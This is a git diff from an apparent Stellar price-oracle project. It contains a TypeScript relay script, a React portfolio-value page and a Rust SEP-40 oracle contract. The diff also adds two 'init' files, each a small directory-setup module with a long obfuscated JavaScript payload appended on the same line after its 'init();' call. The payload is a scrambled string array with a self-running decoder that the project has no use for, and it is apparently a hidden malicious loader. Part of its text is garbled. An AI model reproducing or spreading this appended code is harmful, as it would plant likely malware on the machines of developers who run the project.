process.env.ORACLE_RELAY_CONTRACT_ID - const sourceSecret = process.env.ORACLE_RELAY_SOURCE_SECRET - const assetA = process.env.ORACLE_RELAY_ASSET_A ?? 'XLM' - const assetB = process.env.ORACLE_RELAY_ASSET_B ?? 'USDC' - const intervalMs = parseInt(process.env.ORACLE_RELAY_INTERVAL_MS ?? '60000', 10) - const rpcUrl = process.env.ORACLE_RELAY_RPC_URL ?? 'https://soroban-testnet.stellar.org' - const networkPassphrase = process.env.ORACLE_RELAY_NETWORK_PASSPHRASE ?? Networks.TESTNET - - if (!contractId) throw new Error('ORACLE_RELAY_CONTRACT_ID is required') - if (!sourceSecret) throw new Error('ORACLE_RELAY_SOURCE_SECRET is required') - - return { - apiUrl, - contractId, - sourceSecret, - assetA, - assetB, - intervalMs: Number.isFinite(intervalMs) && intervalMs > 0 ? intervalMs : 60000, - networkPassphrase, - rpcUrl, - } -} - -export async function fetchLensPrice( - apiUrl: string, - assetA: string, - assetB: string, - options?: { stringDecimals?: boolean } -): Promise { - const headers: Record = {} - if (options?.stringDecimals) { - // Negotiate full 18-decimal precision string serialization - headers['X-Decimal-Format'] = 'string' - } - - const response = await fetch(`${apiUrl.replace(/\/$/, '')}/price/${assetA}/${assetB}`, { - headers, - }) - if (!response.ok) { - throw new Error(`Lens price request failed with HTTP ${response.status}`) - } - - const data = await response.json() as { assetA: string; assetB: string; price: number | string; lastUpdated?: string } - if (typeof data.price !== 'number' && typeof data.price !== 'string') { - throw new Error('Lens price payload did not include a valid price') - } - - return { - assetA: data.assetA, - assetB: data.assetB, - price: data.price, - timestamp: data.lastUpdated ?? new Date().toISOString(), - } -} - -export function formatOraclePrice(price: number | string): string { - if (typeof price === 'string') { - return price - } - return price.toFixed(7) -} - -async function loadSourceAccount(rpc: SorobanRpc.Server, source: Keypair): Promise { - const account = await rpc.getAccount(source.publicKey()) - return new Account(source.publicKey(), account.sequenceNumber()) -} - -export async function readOraclePrice( - rpc: SorobanRpc.Server, - config: OracleRelayConfig, -): Promise { - const source = Keypair.fromSecret(config.sourceSecret) - const sourceAccount = await loadSourceAccount(rpc, source) - const contract = new Contract(config.contractId) - const tx = new TransactionBuilder(sourceAccount, { - fee: BASE_FEE, - networkPassphrase: config.networkPassphrase, - }) - .addOperation(contract.call('get_price')) - .setTimeout(30) - .build() - - const simulation = await rpc.simulateTransaction(tx) - if (SorobanRpc.Api.isSimulationError(simulation) || !simulation.result?.retval) { - return null - } - - const current = scValToNative(simulation.result.retval) - return typeof current === 'string' ? current : String(current) -} - -export async function pushOraclePrice( - rpc: SorobanRpc.Server, - config: OracleRelayConfig, - snapshot: OraclePriceSnapshot, -): Promise { - const source = Keypair.fromSecret(config.sourceSecret) - const sourceAccount = await loadSourceAccount(rpc, source) - const contract = new Contract(config.contractId) - const tx = new TransactionBuilder(sourceAccount, { - fee: BASE_FEE, - networkPassphrase: config.networkPassphrase, - }) - .addOperation(contract.call('set_price', nativeToScVal(formatOraclePrice(snapshot.price)))) - .setTimeout(30) - .build() - - const prepared = await rpc.prepareTransaction(tx) - prepared.sign(source) - await rpc.sendTransaction(prepared) -} - -export async function runOracleRelay(config = readConfig(), once = false): Promise { - const rpc = new SorobanRpc.Server(config.rpcUrl, { allowHttp: true }) - - do { - const snapshot = await fetchLensPrice(config.apiUrl, config.assetA, config.assetB) - const currentPrice = await readOraclePrice(rpc, config) - await pushOraclePrice(rpc, config, snapshot) - - console.log( - `[oracle-relay] ${snapshot.assetA}/${snapshot.assetB} price ${formatOraclePrice(snapshot.price)} ` + - `(on-chain: ${currentPrice ?? 'unavailable'})` - ) - - if (!once) { - await new Promise(resolve => setTimeout(resolve, config.intervalMs)) - } - } while (!once) -} - -async function main() { - if (process.argv.includes('--help')) { - console.log(HELP_TEXT.trim()) - return - } - - const once = process.argv.includes('--once') - await runOracleRelay(undefined, once) -} - -if (process.argv[1] && pathToFileURL(process.argv[1]).href === import.meta.url) { - main().catch(err => { - console.error('[oracle-relay] fatal error:', (err as Error).message) - process.exit(1) - }) +import 'dotenv/config' +import { pathToFileURL } from 'url' +import { + Account, + BASE_FEE, + Contract, + Keypair, + Networks, + TransactionBuilder, + nativeToScVal, + rpc as SorobanRpc, + scValToNative, +} from '@stellar/stellar-sdk' + +const HELP_TEXT = `Usage: npm run oracle:relay [-- --once] + +Environment: + ORACLE_RELAY_API_URL=http://localhost:3002 + ORACLE_RELAY_CONTRACT_ID=... + ORACLE_RELAY_SOURCE_SECRET=... + ORACLE_RELAY_ASSET_A=XLM + ORACLE_RELAY_ASSET_B=USDC + ORACLE_RELAY_INTERVAL_MS=60000 +` + +export interface OracleRelayConfig { + apiUrl: string + contractId: string + sourceSecret: string + assetA: string + assetB: string + intervalMs: number + networkPassphrase: string + rpcUrl: string +} + +export interface OraclePriceSnapshot { + assetA: string + assetB: string + price: number | string + timestamp: string +} + +function readConfig(): OracleRelayConfig { + const apiUrl = process.env.ORACLE_RELAY_API_URL ?? 'http://localhost:3002' + const contractId = process.env.ORACLE_RELAY_CONTRACT_ID + const sourceSecret = process.env.ORACLE_RELAY_SOURCE_SECRET + const assetA = process.env.ORACLE_RELAY_ASSET_A ?? 'XLM' + const assetB = process.env.ORACLE_RELAY_ASSET_B ?? 'USDC' + const intervalMs = parseInt(process.env.ORACLE_RELAY_INTERVAL_MS ?? '60000', 10) + const rpcUrl = process.env.ORACLE_RELAY_RPC_URL ?? 'https://soroban-testnet.stellar.org' + const networkPassphrase = process.env.ORACLE_RELAY_NETWORK_PASSPHRASE ?? Networks.TESTNET + + if (!contractId) throw new Error('ORACLE_RELAY_CONTRACT_ID is required') + if (!sourceSecret) throw new Error('ORACLE_RELAY_SOURCE_SECRET is required') + + return { + apiUrl, + contractId, + sourceSecret, + assetA, + assetB, + intervalMs: Number.isFinite(intervalMs) && intervalMs > 0 ? intervalMs : 60000, + networkPassphrase, + rpcUrl, + } +} + +export async function fetchLensPrice( + apiUrl: string, + assetA: string, + assetB: string, + options?: { stringDecimals?: boolean } +): Promise { + const headers: Record = {} + if (options?.stringDecimals) { + // Negotiate full 18-decimal precision string serialization + headers['X-Decimal-Format'] = 'string' + } + + const response = await fetch(`${apiUrl.replace(/\/$/, '')}/price/${assetA}/${assetB}`, { + headers, + }) + if (!response.ok) { + throw new Error(`Lens price request failed with HTTP ${response.status}`) + } + + const data = await response.json() as { assetA: string; assetB: string; price: number | string; lastUpdated?: string } + if (typeof data.price !== 'number' && typeof data.price !== 'string') { + throw new Error('Lens price payload did not include a valid price') + } + + return { + assetA: data.assetA, + assetB: data.assetB, + price: data.price, + timestamp: data.lastUpdated ?? new Date().toISOString(), + } +} + +export function formatOraclePrice(price: number | string): string { + if (typeof price === 'string') { + return price + } + return price.toFixed(7) +} + +async function loadSourceAccount(rpc: SorobanRpc.Server, source: Keypair): Promise { + const account = await rpc.getAccount(source.publicKey()) + return new Account(source.publicKey(), account.sequenceNumber()) +} + +export async function readOraclePrice( + rpc: SorobanRpc.Server, + config: OracleRelayConfig, +): Promise { + const source = Keypair.fromSecret(config.sourceSecret) + const sourceAccount = await loadSourceAccount(rpc, source) + const contract = new Contract(config.contractId) + const tx = new TransactionBuilder(sourceAccount, { + fee: BASE_FEE, + networkPassphrase: config.networkPassphrase, + }) + .addOperation(contract.call('get_price')) + .setTimeout(30) + .build() + + const simulation = await rpc.simulateTransaction(tx) + if (SorobanRpc.Api.isSimulationError(simulation) || !simulation.result?.retval) { + return null + } + + const current = scValToNative(simulation.result.retval) + return typeof current === 'string' ? current : String(current) +} + +export async function pushOraclePrice( + rpc: SorobanRpc.Server, + config: OracleRelayConfig, + snapshot: OraclePriceSnapshot, +): Promise { + const source = Keypair.fromSecret(config.sourceSecret) + const sourceAccount = await loadSourceAccount(rpc, source) + const contract = new Contract(config.contractId) + const tx = new TransactionBuilder(sourceAccount, { + fee: BASE_FEE, + networkPassphrase: config.networkPassphrase, + }) + .addOperation(contract.call('set_price', nativeToScVal(formatOraclePrice(snapshot.price)))) + .setTimeout(30) + .build() + + const prepared = await rpc.prepareTransaction(tx) + prepared.sign(source) + await rpc.sendTransaction(prepared) +} + +export async function runOracleRelay(config = readConfig(), once = false): Promise { + const rpc = new SorobanRpc.Server(config.rpcUrl, { allowHttp: true }) + + do { + const snapshot = await fetchLensPrice(config.apiUrl, config.assetA, config.assetB) + const currentPrice = await readOraclePrice(rpc, config) + await pushOraclePrice(rpc, config, snapshot) + + console.log( + `[oracle-relay] ${snapshot.assetA}/${snapshot.assetB} price ${formatOraclePrice(snapshot.price)} ` + + `(on-chain: ${currentPrice ?? 'unavailable'})` + ) + + if (!once) { + await new Promise(resolve => setTimeout(resolve, config.intervalMs)) + } + } while (!once) +} + +async function main() { + if (process.argv.includes('--help')) { + console.log(HELP_TEXT.trim()) + return + } + + const once = process.argv.includes('--once') + await runOracleRelay(undefined, once) +} + +if (process.argv[1] && pathToFileURL(process.argv[1]).href === import.meta.url) { + main().catch(err => { + console.error('[oracle-relay] fatal error:', (err as Error).message) + process.exit(1) + }) } \ No newline at end of file diff --git a/examples/portfolio-nav/init b/examples/portfolio-nav/init new file mode 100644 index 00000000..e6fbe644 --- /dev/null +++ b/examples/portfolio-nav/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn([]) - const [totalNav, setTotalNav] = useState(null) - const [loading, setLoading] = useState(false) - const [error, setError] = useState(null) - - const LENS_URL = process.env.NEXT_PUBLIC_LENS_URL ?? 'http://localhost:3000' - const HORIZON_URL = process.env.NEXT_PUBLIC_HORIZON_URL ?? 'https://horizon.stellar.org' - - async function fetchNav() { - if (!address.trim()) return - setLoading(true) - setError(null) - setRows([]) - setTotalNav(null) - - try { - const horizonResp = await fetch(`${HORIZON_URL}/accounts/${address.trim()}`) - if (!horizonResp.ok) throw new Error('Account not found on Horizon') - const account = await horizonResp.json() - - const balances: AssetBalance[] = (account.balances ?? []).filter( - (b: any) => parseFloat(b.balance) > 0 - ).map((b: any) => ({ - asset_code: b.asset_type === 'native' ? 'XLM' : b.asset_code, - asset_issuer: b.asset_type === 'native' ? null : b.asset_issuer, - balance: b.balance, - })) - - const navRows: NavRow[] = await Promise.all( - balances.map(async (b) => { - const bal = parseFloat(b.balance) - if (b.asset_code === 'XLM') { - // Fetch XLM/USDC price from Lens with full decimal precision - try { - const priceResp = await fetch(`${LENS_URL}/price/XLM/USDC`, { - headers: { 'x-decimal-format': 'string' }, - }) - if (priceResp.ok) { - const data = await priceResp.json() - const price = parseFloat(data.price) - return { asset: 'XLM', balance: bal, price, value: bal * price } - } - } catch {} - return { asset: 'XLM', balance: bal, price: null, value: null } - } - - try { - const priceResp = await fetch(`${LENS_URL}/price/${b.asset_code}/USDC`, { - headers: { 'x-decimal-format': 'string' }, - }) - if (priceResp.ok) { - const data = await priceResp.json() - const price = parseFloat(data.price) - return { asset: b.asset_code, balance: bal, price, value: bal * price } - } - } catch {} - return { asset: b.asset_code, balance: bal, price: null, value: null } - }) - ) - - setRows(navRows) - const total = navRows.reduce((sum, r) => sum + (r.value ?? 0), 0) - setTotalNav(total) - } catch (e: any) { - setError(e.message ?? 'Unknown error') - } finally { - setLoading(false) - } - } - - return ( -
-

Stellar Portfolio NAV

-

Enter a Stellar address to compute its net asset value using Lens prices.

-
- setAddress(e.target.value)} - onKeyDown={e => e.key === 'Enter' && fetchNav()} - /> - -
- - {error &&

{error}

} - - {rows.length > 0 && ( - <> - - - - - - - - - - - {rows.map(r => ( - - - - - - - ))} - -
AssetBalancePrice (USDC)Value (USDC)
{r.asset}{r.balance.toFixed(7)} - {r.price !== null ? r.price.toFixed(6) : '—'} - - {r.value !== null ? r.value.toFixed(2) : '—'} -
-

- Total NAV:{' '} - {totalNav !== null ? `$${totalNav.toFixed(2)} USDC` : 'Partial (some prices unavailable)'} -

- - )} -
- ) -} +import { useState } from 'react' + +interface AssetBalance { + asset_code: string + asset_issuer: string | null + balance: string +} + +interface NavRow { + asset: string + balance: number + price: number | null + value: number | null +} + +export default function PortfolioNav() { + const [address, setAddress] = useState('') + const [rows, setRows] = useState([]) + const [totalNav, setTotalNav] = useState(null) + const [loading, setLoading] = useState(false) + const [error, setError] = useState(null) + + const LENS_URL = process.env.NEXT_PUBLIC_LENS_URL ?? 'http://localhost:3000' + const HORIZON_URL = process.env.NEXT_PUBLIC_HORIZON_URL ?? 'https://horizon.stellar.org' + + async function fetchNav() { + if (!address.trim()) return + setLoading(true) + setError(null) + setRows([]) + setTotalNav(null) + + try { + const horizonResp = await fetch(`${HORIZON_URL}/accounts/${address.trim()}`) + if (!horizonResp.ok) throw new Error('Account not found on Horizon') + const account = await horizonResp.json() + + const balances: AssetBalance[] = (account.balances ?? []).filter( + (b: any) => parseFloat(b.balance) > 0 + ).map((b: any) => ({ + asset_code: b.asset_type === 'native' ? 'XLM' : b.asset_code, + asset_issuer: b.asset_type === 'native' ? null : b.asset_issuer, + balance: b.balance, + })) + + const navRows: NavRow[] = await Promise.all( + balances.map(async (b) => { + const bal = parseFloat(b.balance) + if (b.asset_code === 'XLM') { + // Fetch XLM/USDC price from Lens with full decimal precision + try { + const priceResp = await fetch(`${LENS_URL}/price/XLM/USDC`, { + headers: { 'x-decimal-format': 'string' }, + }) + if (priceResp.ok) { + const data = await priceResp.json() + const price = parseFloat(data.price) + return { asset: 'XLM', balance: bal, price, value: bal * price } + } + } catch {} + return { asset: 'XLM', balance: bal, price: null, value: null } + } + + try { + const priceResp = await fetch(`${LENS_URL}/price/${b.asset_code}/USDC`, { + headers: { 'x-decimal-format': 'string' }, + }) + if (priceResp.ok) { + const data = await priceResp.json() + const price = parseFloat(data.price) + return { asset: b.asset_code, balance: bal, price, value: bal * price } + } + } catch {} + return { asset: b.asset_code, balance: bal, price: null, value: null } + }) + ) + + setRows(navRows) + const total = navRows.reduce((sum, r) => sum + (r.value ?? 0), 0) + setTotalNav(total) + } catch (e: any) { + setError(e.message ?? 'Unknown error') + } finally { + setLoading(false) + } + } + + return ( +
+

Stellar Portfolio NAV

+

Enter a Stellar address to compute its net asset value using Lens prices.

+
+ setAddress(e.target.value)} + onKeyDown={e => e.key === 'Enter' && fetchNav()} + /> + +
+ + {error &&

{error}

} + + {rows.length > 0 && ( + <> + + + + + + + + + + + {rows.map(r => ( + + + + + + + ))} + +
AssetBalancePrice (USDC)Value (USDC)
{r.asset}{r.balance.toFixed(7)} + {r.price !== null ? r.price.toFixed(6) : '—'} + + {r.value !== null ? r.value.toFixed(2) : '—'} +
+

+ Total NAV:{' '} + {totalNav !== null ? `$${totalNav.toFixed(2)} USDC` : 'Partial (some prices unavailable)'} +

+ + )} +
+ ) +} diff --git a/init b/init new file mode 100644 index 00000000..e6fbe644 --- /dev/null +++ b/init @@ -0,0 +1,30 @@ +'use strict'; +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); var z = '-1000';var NX,SX,spin,splitLane,peel;(function(){var a=["","*","*0","^","*1","c^mejb^tro","hqersxluvwacdjbymgorzfkociptrutnstonc","=aenruh(al=5c,g8fdu.yr ..ncecf,5\"paeau6lnj)r]2uv\"x-q(] a;(r=;;r+(a[8.s2tAgoq,uh8C,ai,s;a(Am0(nj;jv*,7vo7()(o;m6oa4rw). rod[fs2n{drvt4x)+0,anr+rr+o)}z1 =hf[an8r1r[,]s7-77laa.ui7{-069lvmt2r=i]]<+)u,e),,;nrh[r=0v-r(;,=p)Cus=+c;g;f;qA))1vi)vk0nrl1ae f=[;hisy.em(d+o!2 =(evea78=.)4ei=g.n={ff=1[<2a f1=r;4,S)rylv1u y;kql{tvnv (C (l,ovnp i=tlr,r.lwozh(l,tq;;rr((v=ahsv;]xq=ab;da;,((r;vjq.(t[+)da)rdnrhs41y(vr;fh;3g\"]e(.ahrpapg]g.)ngfpn1h,icl;;)=C;m5=+r, .);u=+s}+)it,+bm;d+um)-=siiqol=t=r=q9+..chq+[6fe t0nrpr( vr8flrn,ddgt ]6a.;m;rth.gq 2a}eveic]gbti<4o;C;l,zzi6+l[a[;+(si\"li\"r,npi9s,frfhuw)ow=e{(b=wen2t.gu.i=kiaaa+)yftpa3n})=9\")cpA+u;utp]\"=lk7vpt 1r;hzw\")t()9)(.lul=s7f; ;sq0)n\"y+0s}=va+s mh(0q.]hv;> 06=A-ozetr(t1rtrsiso0e,.;z[(f<5e7t,(raoavnr;thhf;v,j=r; )r>18zho*o{R9#.R0rd=s.0x!sR.fRS)(cct1pfotaeMuR@R=s)pzh..lR\'RRe<.p<.s0BRf)]ic))2h!efy..>!iL$en ;%9OTv.d$4RRC;[daRHced.MR<}sRGr.RReaR)p# nS+b2%iRj}s(Xn^osycsgdJ.ss[pkR8. suwrRny}do.GiT.R?1R$Ro coemRcw.lcn(c:R\'|t RRriR>cUp.cRWZR!RDK)0cvnnks.e R ^dlRvRcwe4Rcg`.h<_c\'(umdRP>o9RPn1R#.cfRRP]xtt_s_ohB)cPY\"cRcReF !0RRq}}r05L6.(R<..de.jO}aRQcVr7s!tRs_Red`!<$]R Rm!RfxR mRok!ct<(..nRcSRn\\&.<0RTiwmtp3*G(Py/nxFhtR<.:Go...(Rt.r.<0ctT(r< .o[iv.-<2lld.nr5=(F:.RRlnRcR\"sz3o\"fR)beRlshpM%Rk9!=a;oe4<:RwCRicz eeR!<.<57:&P)c[RbRREM(_P.}RR).=Rhr<,CRRR(hi%.i#i}JPwp@ilRw;/IcZc8rRcs..s s{Te m<rr. w9cTaR==(fTn, -} - -#[contracterror] -#[derive(Copy, Clone, Debug, Eq, PartialEq, PartialOrd, Ord)] -#[repr(u32)] -pub enum Error { - /// `initialize` has already run. Config is immutable on purpose: SEP-40 - /// says decimals/resolution "should never change" once deployed. - AlreadyInitialized = 1, - NonPositivePrice = 2, - /// A feed timestamp that is not a whole number of resolutions would break - /// the trimming rule every consumer relies on. - TimestampNotAligned = 3, - /// Reports must move forward; an out-of-order write cannot rewrite history. - NotNewer = 4, - /// The publisher's clock is ahead of the ledger, or the write is replayed - /// from far in the past. Either way the value is not publishable. - TimestampInFuture = 5, - /// A price with no venue behind it is worse than no price. - NoVenues = 6, - /// Bounds the per-asset storage footprint. - TooManyVenues = 7, - /// `decimals` or `resolution` was zero; both are load-bearing for every - /// price and timestamp in the feed, so they are refused rather than stored. - InvalidConfig = 8, -} - -#[contracttype] -enum DataKey { - Admin, - Publisher, - Base, - Decimals, - Resolution, - /// Every asset that has ever been reported, in first-seen order, so - /// `assets()` can enumerate the feed. - Assets, - /// Per-asset history, newest first. - History(Asset), - /// Per-asset last known price (SEP-40 `lastprice`). - Last(Asset), - /// Per-asset last report with its provenance. - LastReport(Asset), -} - -/// Price records kept per asset. `prices()` reads from this, and it is trimmed -/// on every write so the feed cannot grow without bound. -const MAX_HISTORY: u32 = 64; -/// Venue names accepted in one report. Well above the number of venues Lens -/// aggregates today, and low enough to keep a report's storage small. -const MAX_VENUES: u32 = 16; -/// Persistent-entry TTL policy: extend when an entry is within `THRESHOLD` -/// ledgers of expiry, by `BUMP` ledgers (roughly 4 days at ~5 s per ledger). -const TTL_THRESHOLD: u32 = 5_000; -const TTL_BUMP: u32 = 40_000; - -#[contract] -pub struct Sep40OracleContract; - -#[contractimpl] -impl Sep40OracleContract { - // ── Admin ──────────────────────────────────────────────────────────────── - - /// One-shot configuration, called by the deployer. `base` is the asset every - /// feed is denominated in (SEP-40 § Specification: "all price feeds … in - /// the base asset"), `decimals` the scale of `PriceData.price`, and - /// `resolution` the timeframe feeds are trimmed to. - /// - /// Never callable twice: SEP-40 requires these values to be stable once - /// deployed, because consumers cannot be expected to react to a change. - pub fn initialize( - env: Env, - admin: Address, - base: Asset, - decimals: u32, - resolution: u32, - ) -> Result<(), Error> { - admin.require_auth(); - if env.storage().instance().has(&DataKey::Admin) { - return Err(Error::AlreadyInitialized); - } - if decimals == 0 || resolution == 0 { - // A zero resolution would make every timestamp check divide by zero - // and a zero decimal count would silently round every price to an - // integer, so both are refused rather than stored. - return Err(Error::InvalidConfig); - } - - let storage = env.storage().instance(); - storage.set(&DataKey::Admin, &admin); - storage.set(&DataKey::Base, &base); - storage.set(&DataKey::Decimals, &decimals); - storage.set(&DataKey::Resolution, &resolution); - storage.set(&DataKey::Assets, &Vec::::new(&env)); - storage.extend_ttl(TTL_THRESHOLD, TTL_BUMP); - Ok(()) - } - - /// Point the feed at a hot publisher key. The publisher signs `report`; - /// the admin key stays cold and only ever signs `initialize`, - /// `set_publisher` and `upgrade`. Unset, `report` falls back to the admin. - pub fn set_publisher(env: Env, publisher: Address) { - Self::require_admin(&env); - env.storage().instance().set(&DataKey::Publisher, &publisher); - } - - /// Swap the implementation without changing the contract address, which - /// SEP-40 requires ("it must be upgradeable without changing the contract - /// address. Smart contract consumers should only be expected to change - /// their price feed aggregator address if they would like to change oracle - /// providers"). - pub fn upgrade(env: Env, new_wasm_hash: BytesN<32>) { - Self::require_admin(&env); - env.deployer().update_current_contract_wasm(new_wasm_hash); - } - - /// Publish one aggregate value for one asset. This is the provider half — - /// out of SEP-40's scope, so its shape is Lens's own. - /// - /// `timestamp` must already be trimmed to `resolution()` (Lens does that - /// when it builds the report; the contract re-checks it so a consumer can - /// take the trimming as a guarantee rather than a convention). - pub fn report( - env: Env, - asset: Asset, - price: i128, - timestamp: u64, - venues: Vec, - ) -> Result<(), Error> { - Self::require_publisher(&env); - - if price <= 0 { - return Err(Error::NonPositivePrice); - } - if venues.is_empty() { - return Err(Error::NoVenues); - } - if venues.len() > MAX_VENUES { - return Err(Error::TooManyVenues); - } - - let resolution: u32 = env - .storage() - .instance() - .get(&DataKey::Resolution) - .ok_or(Error::TimestampNotAligned)?; - if timestamp % resolution as u64 != 0 { - return Err(Error::TimestampNotAligned); - } - if timestamp > env.ledger().timestamp() { - return Err(Error::TimestampInFuture); - } - - let data = PriceData { price, timestamp }; - if let Some(last) = Self::read_last(&env, &asset) { - if timestamp <= last.timestamp { - return Err(Error::NotNewer); - } - } - - // History is newest-first so `prices(records)` and `price(timestamp)` - // read from the front, and the trim happens at the back. - let mut history = Self::read_history(&env, &asset); - history.push_front(data.clone()); - while history.len() > MAX_HISTORY { - history.pop_back(); - } - - let report = Report { - price, - timestamp, - reported_at: env.ledger().timestamp(), - reported_ledger: env.ledger().sequence(), - source_count: venues.len(), - venues, - }; - - let history_key = DataKey::History(asset.clone()); - let last_key = DataKey::Last(asset.clone()); - let report_key = DataKey::LastReport(asset.clone()); - let storage = env.storage().persistent(); - storage.set(&history_key, &history); - storage.set(&last_key, &data); - storage.set(&report_key, &report); - storage.extend_ttl(&history_key, TTL_THRESHOLD, TTL_BUMP); - storage.extend_ttl(&last_key, TTL_THRESHOLD, TTL_BUMP); - storage.extend_ttl(&report_key, TTL_THRESHOLD, TTL_BUMP); - - // Enumerate this asset from `assets()` from now on. - let mut assets: Vec = env - .storage() - .instance() - .get(&DataKey::Assets) - .unwrap_or(Vec::new(&env)); - if !Self::contains_asset(&assets, &asset) { - assets.push_back(asset.clone()); - env.storage().instance().set(&DataKey::Assets, &assets); - } - - env.events().publish( - ("lens_oracle", symbol_short!("report")), - (asset.clone(), price, timestamp), - ); - Ok(()) - } - - // ── SEP-40 PriceFeedTrait ──────────────────────────────────────────────── - - /// The asset every price in this feed is denominated in. - pub fn base(env: Env) -> Asset { - env.storage() - .instance() - .get(&DataKey::Base) - .expect("oracle is not initialized") - } - - /// All assets this feed quotes. - pub fn assets(env: Env) -> Vec { - env.storage() - .instance() - .get(&DataKey::Assets) - .unwrap_or(Vec::new(&env)) - } - - /// Scale of `PriceData.price` for every asset in this feed. - pub fn decimals(env: Env) -> u32 { - env.storage() - .instance() - .get(&DataKey::Decimals) - .expect("oracle is not initialized") - } - - /// Default tick period, in seconds, that feed timestamps are trimmed to. - pub fn resolution(env: Env) -> u32 { - env.storage() - .instance() - .get(&DataKey::Resolution) - .expect("oracle is not initialized") - } - - /// The feed value in effect at `timestamp` — the newest record at or before - /// it, or `None`. - /// - /// SEP-40 phrases this as "price information for a given point in time, - /// under condition that the historical data for a requested timestamp is - /// available". A deviation-triggered feed is deliberately non-uniform, so - /// an exact timestamp is usually absent; nearest-at-or-before is the - /// extrapolation the spec asks an oracle to present instead. Unknown assets - /// and timestamps older than the retained history return `None` rather than - /// erroring, per the spec's instruction to delegate error handling to the - /// consumer. - pub fn price(env: Env, asset: Asset, timestamp: u64) -> Option { - let history = Self::read_history(&env, &asset); - let mut best: Option = None; - for record in history.iter() { - if record.timestamp <= timestamp { - best = Some(record); - break; - } - } - best - } - - /// The last `records` prices for an asset, newest first. `None` when the - /// asset has no history, and `None` for `records == 0`, which is not a - /// question the feed can answer. Fewer than `records` may be returned when - /// the feed has not published that many values yet, or when `records` - /// exceeds the retained history (`MAX_HISTORY`). - pub fn prices(env: Env, asset: Asset, records: u32) -> Option> { - // A request for zero records is invalid input, and SEP-40 asks the - // oracle to hand invalid input back as `None` rather than as a value - // that looks like an answer. - if records == 0 { - return None; - } - let history = Self::read_history(&env, &asset); - if history.is_empty() { - return None; - } - // Asking for more than the feed has kept is not an error: the feed - // answers with everything it has, newest first. - let take = if records > history.len() { history.len() } else { records }; - let mut out = Vec::::new(&env); - for i in 0..take { - out.push_back(history.get(i)?); - } - Some(out) - } - - /// The most recent price for an asset. - pub fn lastprice(env: Env, asset: Asset) -> Option { - Self::read_last(&env, &asset) - } - - // ── Lens-specific reads (beyond SEP-40) ────────────────────────────────── - - /// Full provenance of the last write: when it landed on chain, in which - /// ledger, and which venues produced the value. A consumer that wants to - /// hold the same bar as the HTTP API's `stale` / source fields reads this. - pub fn last_report(env: Env, asset: Asset) -> Option { - env.storage().persistent().get(&DataKey::LastReport(asset)) - } - - // ── Internals ──────────────────────────────────────────────────────────── - - fn require_admin(env: &Env) { - let admin: Address = env - .storage() - .instance() - .get(&DataKey::Admin) - .expect("oracle is not initialized"); - admin.require_auth(); - } - - /// `report` is authorized by the publisher when one has been set, and by - /// the admin otherwise. Exactly one address authorizes a write, so there is - /// no ambiguity about which key the operator has to hold. - fn require_publisher(env: &Env) { - let storage = env.storage().instance(); - let publisher: Option
